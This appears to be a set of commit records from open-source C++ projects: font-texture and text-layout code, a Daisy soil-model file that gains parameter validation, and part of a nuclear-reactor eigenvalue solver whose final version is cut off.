std::lock_guard<std::mutex> lock(m_mutex);\n for (size_t i = 0; i < m_textures.size(); i++) {\n if (!_refs[i]) { continue; }\n\n if (--m_atlasRefCount[i] == 0) {\n LOGD(\"CLEAR ATLAS %d\", i);\n m_atlas.clear(i);\n m_textures[i].texData.assign(GlyphTexture::size * GlyphTexture::size, 0);\n }\n }\n}\n\nvoid FontContext::updateTextures() {\n std::lock_guard<std::mutex> lock(m_mutex);\n\n for (auto& gt : m_textures) {\n if (gt.dirty || !gt.texture.isValid()) {\n gt.dirty = false;\n auto td = reinterpret_cast<const GLuint*>(gt.texData.data());\n gt.texture.update(0, td);\n }\n }\n}\n\nvoid FontContext::bindTexture(alfons::AtlasID _id, GLuint _unit) {\n std::lock_guard<std::mutex> lock(m_mutex);\n m_textures[_id].texture.bind(_unit);\n\n}\n\nbool FontContext::layoutText(TextStyle::Parameters& _params, const std::string& _text,\n std::vector<GlyphQuad>& _quads, std::bitset<max_textures>& _refs, glm::vec2& _size) {\n\n std::lock_guard<std::mutex> lock(m_mutex);\n\n alfons::LineLayout line = m_shaper.shape(_params.font, _text);\n\n if (line.shapes().size() == 0) {\n LOGD(\"Empty text line\");\n return false;\n }\n\n line.setScale(_params.fontScale);\n\n \/\/ m_batch.drawShapeRange() calls FontContext's TextureCallback for new glyphs\n \/\/ and MeshCallback (drawGlyph) for vertex quads of each glyph in LineLayout.\n\n m_scratch.quads = &_quads;\n\n size_t quadsStart = _quads.size();\n alfons::LineMetrics metrics;\n\n if (_params.wordWrap) {\n m_textWrapper.draw(m_batch, line, MIN_LINE_WIDTH,\n _params.maxLineWidth, _params.align,\n _params.lineSpacing, metrics);\n } else {\n glm::vec2 position(0);\n m_batch.drawShapeRange(line, 0, line.shapes().size(), position, metrics);\n }\n\n \/\/ TextLabel parameter: Dimension\n float width = metrics.aabb.z - metrics.aabb.x;\n float height = metrics.aabb.w - metrics.aabb.y;\n\n \/\/ Offset to center all glyphs around 0\/0\n glm::vec2 offset((metrics.aabb.x + width * 0.5) * TextVertex::position_scale,\n (metrics.aabb.y + height * 0.5) * TextVertex::position_scale);\n\n auto it = _quads.begin() + quadsStart;\n if (it == _quads.end()) {\n \/\/ No glyphs added\n return false;\n }\n\n while (it != _quads.end()) {\n\n if (!_refs[it->atlas]) {\n _refs[it->atlas] = true;\n m_atlasRefCount[it->atlas]++;\n }\n\n it->quad[0].pos -= offset;\n it->quad[1].pos -= offset;\n it->quad[2].pos -= offset;\n it->quad[3].pos -= offset;\n ++it;\n }\n\n _size = glm::vec2(width, height);\n\n return true;\n}\n\nvoid FontContext::ScratchBuffer::drawGlyph(const alfons::Rect& q, const alfons::AtlasGlyph& atlasGlyph) {\n if (atlasGlyph.atlas >= max_textures) { return; }\n\n auto& g = *atlasGlyph.glyph;\n quads->push_back({\n atlasGlyph.atlas,\n {{glm::vec2{q.x1, q.y1} * TextVertex::position_scale, {g.u1, g.v1}},\n {glm::vec2{q.x1, q.y2} * TextVertex::position_scale, {g.u1, g.v2}},\n {glm::vec2{q.x2, q.y1} * TextVertex::position_scale, {g.u2, g.v1}},\n {glm::vec2{q.x2, q.y2} * TextVertex::position_scale, {g.u2, g.v2}}}});\n}\n\nauto FontContext::getFont(const std::string& _family, const std::string& _style,\n const std::string& _weight, float _size) -> std::shared_ptr<alfons::Font> {\n\n int sizeIndex = 0;\n\n \/\/ Pick the smallest font that does not scale down too much\n float fontSize = BASE_SIZE;\n for (int i = 0; i < 3; i++) {\n sizeIndex = i;\n\n if (_size <= fontSize) { break; }\n fontSize += STEP_SIZE;\n }\n \/\/LOG(\">> %f - %d ==> %f\", _size, sizeIndex, _size \/ ((sizeIndex+1) * BASE_SIZE));\n\n std::lock_guard<std::mutex> lock(m_mutex);\n\n static std::string fontName;\n\n fontName.clear();\n fontName += _family;\n fontName += '_';\n fontName += _weight;\n fontName += '_';\n fontName += _style;\n\n auto font = m_alfons.getFont(fontName, fontSize);\n if (font->hasFaces()) { return font; }\n\n unsigned int dataSize = 0;\n unsigned char* data = nullptr;\n\n \/\/ Assuming bundled ttf file follows this convention\n auto bundledFontPath = \"fonts\/\" + _family + \"-\" + _weight + _style + \".ttf\";\n if (!(data = bytesFromFile(bundledFontPath.c_str(), PathType::resource, &dataSize, m_sceneResourceRoot.c_str())) &&\n !(data = bytesFromFile(bundledFontPath.c_str(), PathType::internal, &dataSize, m_sceneResourceRoot.c_str()))) {\n const std::string sysFontPath = systemFontPath(_family, _weight, _style);\n if (!(data = bytesFromFile(sysFontPath.c_str(), PathType::absolute, &dataSize, m_sceneResourceRoot.c_str())) ) {\n\n LOGE(\"Could not load font file %s\", fontName.c_str());\n \/\/ add fallbacks from default font\n font->addFaces(*m_font[sizeIndex]);\n return font;\n }\n }\n\n font->addFace(m_alfons.addFontFace(alfons::InputSource(reinterpret_cast<char*>(data), dataSize), fontSize));\n free(data);\n\n \/\/ add fallbacks from default font\n font->addFaces(*m_font[sizeIndex]);\n\n return font;\n}\n\n\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Verbose view now shows track-level data<commit_after><|endoftext|>"} {"text":"<commit_before><commit_msg>added missing function implementation<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ secondary.C --- Secondary domain for solute transport.\n\/\/ \n\/\/ Copyright 2008 Per Abrahamsen, Mikkel Mollerup and KU.\n\/\/\n\/\/ This file is part of Daisy.\n\/\/ \n\/\/ Daisy is free software; you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Lesser Public License as published by\n\/\/ the Free Software Foundation; either version 2.1 of the License, or\n\/\/ (at your option) any later version.\n\/\/ \n\/\/ Daisy is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU Lesser Public License for more details.\n\/\/ \n\/\/ You should have received a copy of the GNU Lesser Public License\n\/\/ along with Daisy; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n#define BUILD_DLL\n\n#include \"secondary.h\"\n#include \"block_model.h\"\n#include \"librarian.h\"\n#include \"assertion.h\"\n#include \"frame.h\"\n#include \"soil.h\"\n\n\/\/ secondary component.\n\nconst char *const Secondary::component = \"secondary\";\n\nsymbol\nSecondary::library_id () const\n{\n static const symbol id (component);\n return id;\n}\n\nSecondary::Secondary (const BlockModel& al)\n : name (al.type_name ())\n{ }\n\nSecondary::Secondary (const symbol name_)\n : name (name_)\n{ }\n\nSecondary::~Secondary ()\n{ }\n\nstatic struct SecondaryInit : public DeclareComponent \n{\n SecondaryInit ()\n : DeclareComponent (Secondary::component, \"\\\nSpecify secondary domain.\\n\\\n\\n\\\nThe secondary domain consist typically of soil fractures or other\\n\\\ninter-aggregate pores small enough to be dominated by capillarity, yet\\n\\\nso large that water moves fast enough that the solute equilibrium with\\n\\\nthe primary domain (typically intra-aggregate pores) can not be maintained.\\n\\\n\\n\\\nThis allows a pulse of water to be move through saturated or near\\n\\\nsaturated soil without solutes in the new water being mixed with\\n\\\nsolutes in the old water. The effects are twofold: It allows solutes\\n\\\napplied to the surface to reach deeper soil layers much faster than it\\n\\\nwould otherwise, and it protects solutes in the soil matrix from being\\n\\\nwashed out with fast moving new water.\")\n { }\n} Secondary_init;\n\n\/\/ \"none\" model.\n\nstruct SecondaryNone : public Secondary\n{\n double h_lim (const size_t, const Soil&) const \n \/\/ Pressure act. secondary domain. [cm]\n { return 0.0; }\n double K (const size_t, const Soil&, const double h) const \n \/\/ Conductivity in sec. dom. [cm\/h]\n { return 0.0; }\n double alpha () const \/\/ Exchange rate between domain [h^-1]\n { return 0.0; }\n\n explicit SecondaryNone (const BlockModel& al)\n : Secondary (al)\n {}\n SecondaryNone ()\n : Secondary (\"none\")\n {}\n};\n\nstd::auto_ptr<Secondary>\nSecondary::create_none ()\n{ return std::auto_ptr<Secondary> (new SecondaryNone ()); }\n\nstatic struct SecondaryNoneSyntax : public DeclareModel\n{\n Model* make (const BlockModel& al) const\n { return new SecondaryNone (al); }\n SecondaryNoneSyntax ()\n : DeclareModel (Secondary::component, \"none\", \"No secondary domain.\\n\\\n\\n\\\nThere is always full equilibrium between solute in different size\\n\\\nmatrix pores.\")\n { }\n void load_frame (Frame& frame) const\n {\n }\n} SecondaryNone_syntax;\n\n\/\/ \"alpha\" model.\n\nstruct SecondaryAlpha : public Secondary\n{\n const double alpha_;\n\n double alpha () const \/\/ The value of the 'alpha' parameter.\n { return alpha_; }\n \n SecondaryAlpha (const BlockModel& al)\n : Secondary (al),\n alpha_ (al.number (\"alpha\")) \n {}\n};\n\nstatic struct SecondaryAlphaSyntax : public DeclareBase\n{\n SecondaryAlphaSyntax ()\n : DeclareBase (Secondary::component, \"alpha\", \n \"Shared base class for non-empty secondary domains.\")\n { }\n void load_frame (Frame& frame) const\n {\n frame.declare (\"alpha\", \"h^-1\", Attribute::Const, \"\\\nExchange rate between primary and secondary water.\"); \n }\n} SecondaryAlpha_syntax;\n\n\/\/ \"pressure\" model.\n\nstruct SecondaryPressure : public SecondaryAlpha\n{\n const double h_lim_;\n const double K_;\n\n double h_lim (const size_t, const Soil&) const\n \/\/ The value of the 'h_lim' parameter.\n { return h_lim_; }\n double K (const size_t cell, const Soil& soil, const double h) const\n { \n if (h < h_lim (cell, soil))\n return 0.0;\n else\n return K_; \n }\n SecondaryPressure (const BlockModel& al)\n : SecondaryAlpha (al),\n h_lim_ (al.number (\"h_lim\")),\n K_ (al.number (\"K\"))\n {}\n};\n\nstatic struct SecondaryPressureSyntax : public DeclareModel\n{\n Model* make (const BlockModel& al) const\n { return new SecondaryPressure (al); }\n SecondaryPressureSyntax ()\n : DeclareModel (Secondary::component, \"pressure\", \"alpha\", \"\\\nHorizon has secondary domain specifyed by pressure thresshold.\\n\\\n\\n\\\nThe secondary domain consist of water in matrix pores larger than\\n\\\nwhat corresponds to the specified pressure. \")\n { }\n void load_frame (Frame& frame) const\n {\n frame.declare (\"h_lim\", \"cm\", Attribute::Const, \"\\\nMinimal pressure needed for activating secondary domain.\");\n frame.declare (\"K\", \"cm\/h\", Attribute::Const, \"\\\nWater conductivity when secondary domain is active.\\n\\\nIf the secondary domain is already included in the normal conductivity\\n\\\ncurve, specify 0.0 use that value instead.\");\n frame.set (\"K\", 0.0);\n }\n} SecondaryPressure_syntax;\n\n\/\/ \"cracks\" model.\n\nstruct SecondaryCracks : public SecondaryAlpha\n{\n const double aperture; \/\/ [m]\n const double density; \/\/ [m^-1]\n const double Theta_crack; \/\/ []\n const double K_crack; \/\/ [cm\/h]\n\n double h_lim (const size_t cell, const Soil& soil) const \n { \n const double Theta_sat = soil.Theta (cell, 0.0, 0.0);\n if (Theta_crack >= Theta_sat)\n throw \"Space occupied by cracks larger than soil porosity\";\n const double Theta_lim = Theta_sat - Theta_crack;\n daisy_assert (Theta_lim > 0.0);\n return soil.h (cell, Theta_lim); \n }\n double K (const size_t cell, const Soil& soil, const double h) const\n { \n if (h < h_lim (cell, soil))\n return 0.0;\n else\n return K_crack; \n }\n\n static double find_K (const double aperture, const double density)\n { return -42.42e42; }\n SecondaryCracks (const BlockModel& al)\n : SecondaryAlpha (al),\n aperture (al.number (\"h_aperture\")),\n density (al.number (\"density\")),\n Theta_crack (aperture * density),\n K_crack (find_K (aperture, density)) \n { \n daisy_assert (Theta_crack >= 0.0);\n daisy_assert (Theta_crack <= 1.0);\n }\n};\n\nstatic struct SecondaryCracksSyntax : public DeclareModel\n{\n Model* make (const BlockModel& al) const\n { return new SecondaryCracks (al); }\n SecondaryCracksSyntax ()\n : DeclareModel (Secondary::component, \"aperture\", \"alpha\", \"\\\nSecondary domain specified by aperture and density of soil cracks.\")\n { }\n void load_frame (Frame& frame) const\n {\n frame.declare (\"aperture\", \"m\", Attribute::Const, \"\\\nAverage distance between walls in cracks.\");\n frame.declare (\"density\", \"m^-1\", Attribute::Const, \"\\\nDensity of cracks.\");\n }\n} SecondaryCracks_syntax;\n\n\/\/ secondary.C ends here.\n<commit_msg>x61<commit_after>\/\/ secondary.C --- Secondary domain for solute transport.\n\/\/ \n\/\/ Copyright 2008 Per Abrahamsen, Mikkel Mollerup and KU.\n\/\/\n\/\/ This file is part of Daisy.\n\/\/ \n\/\/ Daisy is free software; you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Lesser Public License as published by\n\/\/ the Free Software Foundation; either version 2.1 of the License, or\n\/\/ (at your option) any later version.\n\/\/ \n\/\/ Daisy is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU Lesser Public License for more details.\n\/\/ \n\/\/ You should have received a copy of the GNU Lesser Public License\n\/\/ along with Daisy; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n#define BUILD_DLL\n\n#include \"secondary.h\"\n#include \"block_model.h\"\n#include \"librarian.h\"\n#include \"assertion.h\"\n#include \"frame.h\"\n#include \"soil.h\"\n#include \"check.h\"\n\n\/\/ secondary component.\n\nconst char *const Secondary::component = \"secondary\";\n\nsymbol\nSecondary::library_id () const\n{\n static const symbol id (component);\n return id;\n}\n\nSecondary::Secondary (const BlockModel& al)\n : name (al.type_name ())\n{ }\n\nSecondary::Secondary (const symbol name_)\n : name (name_)\n{ }\n\nSecondary::~Secondary ()\n{ }\n\nstatic struct SecondaryInit : public DeclareComponent \n{\n SecondaryInit ()\n : DeclareComponent (Secondary::component, \"\\\nSpecify secondary domain.\\n\\\n\\n\\\nThe secondary domain consist typically of soil fractures or other\\n\\\ninter-aggregate pores small enough to be dominated by capillarity, yet\\n\\\nso large that water moves fast enough that the solute equilibrium with\\n\\\nthe primary domain (typically intra-aggregate pores) can not be maintained.\\n\\\n\\n\\\nThis allows a pulse of water to be move through saturated or near\\n\\\nsaturated soil without solutes in the new water being mixed with\\n\\\nsolutes in the old water. The effects are twofold: It allows solutes\\n\\\napplied to the surface to reach deeper soil layers much faster than it\\n\\\nwould otherwise, and it protects solutes in the soil matrix from being\\n\\\nwashed out with fast moving new water.\")\n { }\n} Secondary_init;\n\n\/\/ \"none\" model.\n\nstruct SecondaryNone : public Secondary\n{\n double h_lim (const size_t, const Soil&) const \n \/\/ Pressure act. secondary domain. [cm]\n { return 0.0; }\n double K (const size_t, const Soil&, const double h) const \n \/\/ Conductivity in sec. dom. [cm\/h]\n { return 0.0; }\n double alpha () const \/\/ Exchange rate between domain [h^-1]\n { return 0.0; }\n\n explicit SecondaryNone (const BlockModel& al)\n : Secondary (al)\n {}\n SecondaryNone ()\n : Secondary (\"none\")\n {}\n};\n\nstd::auto_ptr<Secondary>\nSecondary::create_none ()\n{ return std::auto_ptr<Secondary> (new SecondaryNone ()); }\n\nstatic struct SecondaryNoneSyntax : public DeclareModel\n{\n Model* make (const BlockModel& al) const\n { return new SecondaryNone (al); }\n SecondaryNoneSyntax ()\n : DeclareModel (Secondary::component, \"none\", \"No secondary domain.\\n\\\n\\n\\\nThere is always full equilibrium between solute in different size\\n\\\nmatrix pores.\")\n { }\n void load_frame (Frame& frame) const\n {\n }\n} SecondaryNone_syntax;\n\n\/\/ \"alpha\" model.\n\nstruct SecondaryAlpha : public Secondary\n{\n const double alpha_;\n\n double alpha () const \/\/ The value of the 'alpha' parameter.\n { return alpha_; }\n \n SecondaryAlpha (const BlockModel& al)\n : Secondary (al),\n alpha_ (al.number (\"alpha\")) \n {}\n};\n\nstatic struct SecondaryAlphaSyntax : public DeclareBase\n{\n SecondaryAlphaSyntax ()\n : DeclareBase (Secondary::component, \"alpha\", \n \"Shared base class for non-empty secondary domains.\")\n { }\n void load_frame (Frame& frame) const\n {\n frame.declare (\"alpha\", \"h^-1\", Attribute::Const, \"\\\nExchange rate between primary and secondary water.\"); \n }\n} SecondaryAlpha_syntax;\n\n\/\/ \"pressure\" model.\n\nstruct SecondaryPressure : public SecondaryAlpha\n{\n const double h_lim_;\n const double K_;\n\n double h_lim (const size_t, const Soil&) const\n \/\/ The value of the 'h_lim' parameter.\n { return h_lim_; }\n double K (const size_t cell, const Soil& soil, const double h) const\n { \n if (h < h_lim (cell, soil))\n return 0.0;\n else\n return K_; \n }\n SecondaryPressure (const BlockModel& al)\n : SecondaryAlpha (al),\n h_lim_ (al.number (\"h_lim\")),\n K_ (al.number (\"K\"))\n {}\n};\n\nstatic struct SecondaryPressureSyntax : public DeclareModel\n{\n Model* make (const BlockModel& al) const\n { return new SecondaryPressure (al); }\n SecondaryPressureSyntax ()\n : DeclareModel (Secondary::component, \"pressure\", \"alpha\", \"\\\nHorizon has secondary domain specifyed by pressure thresshold.\\n\\\n\\n\\\nThe secondary domain consist of water in matrix pores larger than\\n\\\nwhat corresponds to the specified pressure. \")\n { }\n void load_frame (Frame& frame) const\n {\n frame.declare (\"h_lim\", \"cm\", Check::positive (), Attribute::Const, \"\\\nMinimal pressure needed for activating secondary domain.\");\n frame.declare (\"K\", \"cm\/h\", Check::non_negative (), Attribute::Const, \"\\\nWater conductivity when secondary domain is active.\\n\\\nIf the secondary domain is already included in the normal conductivity\\n\\\ncurve, specify 0.0 use that value instead.\");\n frame.set (\"K\", 0.0);\n }\n} SecondaryPressure_syntax;\n\n\/\/ \"cracks\" model.\n\nstruct SecondaryCracks : public SecondaryAlpha\n{\n const double aperture; \/\/ [m]\n const double density; \/\/ [m^-1]\n const double Theta_crack; \/\/ []\n const double K_crack; \/\/ [cm\/h]\n\n double h_lim (const size_t cell, const Soil& soil) const \n { \n const double Theta_sat = soil.Theta (cell, 0.0, 0.0);\n if (Theta_crack >= Theta_sat)\n throw \"Space occupied by cracks larger than soil porosity\";\n const double Theta_lim = Theta_sat - Theta_crack;\n daisy_assert (Theta_lim > 0.0);\n return soil.h (cell, Theta_lim); \n }\n double K (const size_t cell, const Soil& soil, const double h) const\n { \n if (h < h_lim (cell, soil))\n return 0.0;\n else\n return K_crack; \n }\n\n static double find_K (const double aperture, const double density)\n { return -42.42e42; }\n SecondaryCracks (const BlockModel& al)\n : SecondaryAlpha (al),\n aperture (al.number (\"h_aperture\")),\n density (al.number (\"density\")),\n Theta_crack (aperture * density),\n K_crack (find_K (aperture, density)) \n { \n daisy_assert (Theta_crack >= 0.0);\n daisy_assert (Theta_crack <= 1.0);\n }\n};\n\nstatic struct SecondaryCracksSyntax : public DeclareModel\n{\n Model* make (const BlockModel& al) const\n { return new SecondaryCracks (al); }\n SecondaryCracksSyntax ()\n : DeclareModel (Secondary::component, \"aperture\", \"alpha\", \"\\\nSecondary domain specified by aperture and density of soil cracks.\")\n { }\n static bool check_alist (const Metalib&, const Frame& al, Treelog& msg)\n { \n bool ok = true;\n\n const double Theta = al.number (\"aperture\") * al.number (\"density\");\n if (Theta >= 1.0)\n {\n ok = false;\n msg.error (\"Volume fraction of cracks exceed 1.0\");\n }\n return ok;\n }\n void load_frame (Frame& frame) const\n {\n frame.add_check (check_alist);\n frame.declare (\"aperture\", \"m\", Check::positive (), Attribute::Const, \"\\\nAverage distance between walls in cracks.\");\n frame.declare (\"density\", \"m^-1\", Check::positive (), Attribute::Const, \"\\\nDensity of cracks.\");\n }\n} SecondaryCracks_syntax;\n\n\/\/ secondary.C ends here.\n<|endoftext|>"} {"text":"<commit_before>#include \"eigen_solver.hpp\"\n\n#include <iomanip>\n\n#include \"error.hpp\"\n#include \"files.hpp\"\n\nusing std::endl;\nusing std::cout;\nusing std::cin;\n\nconst static int out_w = 14;\n\nnamespace mocc{\n EigenSolver::EigenSolver( const pugi::xml_node &input,\n const CoreMesh &mesh ):\n fss_( input, mesh ),\n fission_source_( fss_.n_reg() ),\n fission_source_prev_( fss_.n_reg() ),\n min_iterations_( 0 )\n {\n LogFile << \"Initializing Eigenvalue solver...\" << std::endl;\n\n\n if( input.empty() ) {\n throw EXCEPT(\"No input specified for the eigenvalue solver.\");\n }\n\n \/\/ grab the convergence constraints from the XML\n int in_int = 0;\n real_t in_float = 0.0;\n\n \/\/ K tolerance\n in_float = input.attribute(\"k_tol\").as_float(-1.0);\n if( in_float <= 0.0 ) {\n throw EXCEPT(\"Invalid k tolerance.\");\n }\n tolerance_k_ = in_float;\n\n \/\/ Psi tolerance\n in_float = input.attribute(\"psi_tol\").as_float(-1.0);\n if( in_float <= 0.0 ) {\n throw EXCEPT(\"Invalid psi tolerance.\");\n }\n tolerance_psi_ = in_float;\n\n \/\/ Max iterations\n in_int = input.attribute(\"max_iter\").as_int(-1);\n if( in_int < 0 ) {\n throw EXCEPT(\"Invalid number of maximum iterations.\");\n }\n max_iterations_ = in_int;\n\n \/\/ Min iterations\n if( !input.attribute(\"min_iter\").empty() ) {\n in_int = input.attribute(\"min_iter\").as_int(-1);\n if( (in_int < 0) || (in_int > (int)max_iterations_) ) {\n throw EXCEPT(\"Invalid number of minimum iterations.\");\n }\n min_iterations_ = in_int;\n }\n\n \/\/ CMFD acceleration\n bool do_cmfd = input.attribute(\"cmfd\").as_bool(false);\n if( do_cmfd ) {\n \/\/ construct the CMFD solver using the mesh from the transport\n \/\/ sweeper\n cmfd_.reset( new CMFD( input.child(\"cmfd\"), (Mesh*)&mesh,\n fss_.sweeper()->get_homogenized_xsmesh() ) );\n \/\/ Associate the sweeper with the coarse data from the CMFD solver\n CoarseData * const cd = cmfd_->get_data();\n fss_.sweeper()->set_coarse_data( cd );\n }\n\n LogFile << \"Done initializing Eigenvalue solver.\" << std::endl;\n\n return;\n }\n\n \/\/ Perform a full-blown eigenvalue solve. Start with a guess for the\n \/\/ fission source (flat), start doing power iteration. Once we have that\n \/\/ working, we will start factoring in CMFD and other fancy tricks\n void EigenSolver::solve() {\n keff_ = 1.0;\n keff_prev_ = 1.0;\n\n \/\/ initialize the fixed source solver and calculation the initial\n \/\/ fission source\n fss_.initialize();\n \n\n \/\/ Hand a reference to the fission source to the fixed source solver\n fss_.set_fission_source(&fission_source_);\n\n error_k_ = tolerance_k_; \/\/ K residual\n error_psi_ = tolerance_psi_; \/\/ L-2 norm of the fission source residual\n\n fss_.sweeper()->calc_fission_source(keff_, fission_source_);\n\n cout << std::setw(out_w) << \"Time\"\n << std::setw(out_w) << \"Iter.\"\n << std::setw(out_w) << \"k\"\n << std::setw(out_w) << \"k error\"\n << std::setw(out_w) << \"psi error\" << endl;\n\n for( size_t n_iterations=0; n_iterations < max_iterations_;\n n_iterations++ )\n {\n this->step();\n\n \/\/ Check for convergence\n error_k_ = fabs(keff_-keff_prev_);\n\n \/\/ use the old fission source to store the difference between new\n \/\/ and old, since we will be filling it with new in the next\n \/\/ iteration anyways.\n real_t e = 0.0;\n for( int i=0; i<(int)fission_source_.size(); i++ ) {\n e += std::pow((fission_source_(i)-fission_source_prev_(i)), 2);\n }\n error_psi_ = std::sqrt( e );\n\n convergence_.push_back(\n ConvergenceCriteria(keff_, error_k_, error_psi_) );\n\n this->print( n_iterations+1, convergence_.back() );\n\n if( n_iterations >= max_iterations_ ) {\n std::cout << \"Maximum number of iterations reached!\"\n << std::endl;\n break;\n }\n\n if( (error_k_ < tolerance_k_) && (error_psi_ < tolerance_psi_ ) &&\n (n_iterations >= min_iterations_) ) {\n std::cout << \"Convergence criteria met!\" << std::endl;\n break;\n }\n }\n }\n\n void EigenSolver::step() {\n \/\/ Store the old fission source\n fission_source_prev_ = fission_source_;\n\n if( cmfd_ && cmfd_->is_enabled() ) {\n this->do_cmfd();\n }\n\n\n \/\/ Perform a group sweep with the FSS\n fss_.sweeper()->calc_fission_source(keff_, fission_source_);\n fss_.step();\n\n \/\/ Get the total fission sources\n real_t tfis1 = fss_.sweeper()->total_fission(false);\n real_t tfis2 = fss_.sweeper()->total_fission(true);\n\n \/\/ update estimate for k\n keff_prev_ = keff_;\n keff_ = keff_ * tfis1\/tfis2;\n }\n\n void EigenSolver::print( int iter, ConvergenceCriteria conv ) {\n teestream tee(std::cout, LogFile);\n LogScreen << std::setw(out_w) << std::fixed << std::setprecision(5)\n << RootTimer.time() << std::setw(out_w)\n << iter << conv << endl;\n return;\n }\n\n void EigenSolver::do_cmfd() {\n assert(cmfd_);\n assert(cmfd_->is_enabled());\n \/\/ push homogenized flux onto the coarse mesh, solve, and pull it\n \/\/ back.\n cmfd_->coarse_data().flux = fss_.sweeper()->get_pin_flux();\n\n \/\/ Set the convergence criteria for this solve, there are a few ways we\n \/\/ can do this\n\n CMFDConvergence conv = CMFDConvergence::FIXED;\n switch( conv ) {\n case CMFDConvergence::FIXED:\n cmfd_->set_k_tolerance(tolerance_k_\/10.0);\n cmfd_->set_psi_tolerance(tolerance_psi_\/10.0);\n break;\n case CMFDConvergence::FLOAT:\n real_t k_tol = std::max(error_k_\/1000.0, tolerance_k_\/10.0);\n cmfd_->set_k_tolerance( k_tol );\n\n real_t psi_tol = std::max(error_psi_\/1000.0, tolerance_psi_\/10.0);\n cmfd_->set_psi_tolerance( psi_tol );\n break;\n }\n cmfd_->solve(keff_, fss_.sweeper()->flux());\n fss_.sweeper()->set_pin_flux( cmfd_->flux() );\n return;\n }\n\n std::ostream& operator<<( std::ostream &os, ConvergenceCriteria conv) {\n std::ios::fmtflags flags = os.flags();\n\n os << std::setw(out_w) << std::fixed\n << std::setprecision(10) << conv.k\n << std::setw(out_w) << std::scientific\n << std::setprecision(6) << conv.error_k\n << std::setw(out_w) << std::setiosflags(std::ios::scientific)\n << std::setprecision(6) << conv.error_psi;\n\n os.flags(flags);\n return os;\n }\n};\n<commit_msg>Tighten fixed CMFD convergence criteria<commit_after>#include \"eigen_solver.hpp\"\n\n#include <iomanip>\n\n#include \"error.hpp\"\n#include \"files.hpp\"\n\nusing std::endl;\nusing std::cout;\nusing std::cin;\n\nconst static int out_w = 14;\n\nnamespace mocc{\n EigenSolver::EigenSolver( const pugi::xml_node &input,\n const CoreMesh &mesh ):\n fss_( input, mesh ),\n fission_source_( fss_.n_reg() ),\n fission_source_prev_( fss_.n_reg() ),\n min_iterations_( 0 )\n {\n LogFile << \"Initializing Eigenvalue solver...\" << std::endl;\n\n\n if( input.empty() ) {\n throw EXCEPT(\"No input specified for the eigenvalue solver.\");\n }\n\n \/\/ grab the convergence constraints from the XML\n int in_int = 0;\n real_t in_float = 0.0;\n\n \/\/ K tolerance\n in_float = input.attribute(\"k_tol\").as_float(-1.0);\n if( in_float <= 0.0 ) {\n throw EXCEPT(\"Invalid k tolerance.\");\n }\n tolerance_k_ = in_float;\n\n \/\/ Psi tolerance\n in_float = input.attribute(\"psi_tol\").as_float(-1.0);\n if( in_float <= 0.0 ) {\n throw EXCEPT(\"Invalid psi tolerance.\");\n }\n tolerance_psi_ = in_float;\n\n \/\/ Max iterations\n in_int = input.attribute(\"max_iter\").as_int(-1);\n if( in_int < 0 ) {\n throw EXCEPT(\"Invalid number of maximum iterations.\");\n }\n max_iterations_ = in_int;\n\n \/\/ Min iterations\n if( !input.attribute(\"min_iter\").empty() ) {\n in_int = input.attribute(\"min_iter\").as_int(-1);\n if( (in_int < 0) || (in_int > (int)max_iterations_) ) {\n throw EXCEPT(\"Invalid number of minimum iterations.\");\n }\n min_iterations_ = in_int;\n }\n\n \/\/ CMFD acceleration\n bool do_cmfd = input.attribute(\"cmfd\").as_bool(false);\n if( do_cmfd ) {\n \/\/ construct the CMFD solver using the mesh from the transport\n \/\/ sweeper\n cmfd_.reset( new CMFD( input.child(\"cmfd\"), (Mesh*)&mesh,\n fss_.sweeper()->get_homogenized_xsmesh() ) );\n \/\/ Associate the sweeper with the coarse data from the CMFD solver\n CoarseData * const cd = cmfd_->get_data();\n fss_.sweeper()->set_coarse_data( cd );\n }\n\n LogFile << \"Done initializing Eigenvalue solver.\" << std::endl;\n\n return;\n }\n\n \/\/ Perform a full-blown eigenvalue solve. Start with a guess for the\n \/\/ fission source (flat), start doing power iteration. Once we have that\n \/\/ working, we will start factoring in CMFD and other fancy tricks\n void EigenSolver::solve() {\n keff_ = 1.0;\n keff_prev_ = 1.0;\n\n \/\/ initialize the fixed source solver and calculation the initial\n \/\/ fission source\n fss_.initialize();\n \n\n \/\/ Hand a reference to the fission source to the fixed source solver\n fss_.set_fission_source(&fission_source_);\n\n error_k_ = tolerance_k_; \/\/ K residual\n error_psi_ = tolerance_psi_; \/\/ L-2 norm of the fission source residual\n\n fss_.sweeper()->calc_fission_source(keff_, fission_source_);\n\n cout << std::setw(out_w) << \"Time\"\n << std::setw(out_w) << \"Iter.\"\n << std::setw(out_w) << \"k\"\n << std::setw(out_w) << \"k error\"\n << std::setw(out_w) << \"psi error\" << endl;\n\n for( size_t n_iterations=0; n_iterations < max_iterations_;\n n_iterations++ )\n {\n this->step();\n\n \/\/ Check for convergence\n error_k_ = fabs(keff_-keff_prev_);\n\n \/\/ use the old fission source to store the difference between new\n \/\/ and old, since we will be filling it with new in the next\n \/\/ iteration anyways.\n real_t e = 0.0;\n for( int i=0; i<(int)fission_source_.size(); i++ ) {\n e += std::pow((fission_source_(i)-fission_source_prev_(i)), 2);\n }\n error_psi_ = std::sqrt( e );\n\n convergence_.push_back(\n ConvergenceCriteria(keff_, error_k_, error_psi_) );\n\n this->print( n_iterations+1, convergence_.back() );\n\n if( n_iterations >= max_iterations_ ) {\n std::cout << \"Maximum number of iterations reached!\"\n << std::endl;\n break;\n }\n\n if( (error_k_ < tolerance_k_) && (error_psi_ < tolerance_psi_ ) &&\n (n_iterations >= min_iterations_) ) {\n std::cout << \"Convergence criteria met!\" << std::endl;\n break;\n }\n }\n }\n\n void EigenSolver::step() {\n \/\/ Store the old fission source\n fission_source_prev_ = fission_source_;\n\n if( cmfd_ && cmfd_->is_enabled() ) {\n this->do_cmfd();\n }\n\n\n 